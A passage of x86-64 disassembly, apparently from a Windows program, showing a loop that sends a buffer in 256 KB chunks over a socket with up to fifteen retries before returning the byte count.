test eax, eax
jg 0x140005c24
inc ebx
cmp ebx, 0xf
jl 0x140005c00
cmp ebx, 0xf
je 0x140005ca2
sub ebp, 0x40000
add r12d, eax
add rsi, 0x40000
cmp ebp, 0x40000
jge 0x140005bf0
test ebp, ebp
jle 0x140005c79
nop word [rax + rax]
mov rcx, qword [r13 + 0x378]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x140005c71
inc edi
cmp edi, 0xf
jl 0x140005c50
cmp edi, 0xf
je 0x140005ca2
add r12d, eax
or eax, 0xffffffff
cmp r12d, r14d
cmove eax, r12d
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
or eax, 0xffffffff
jmp 0x140005c83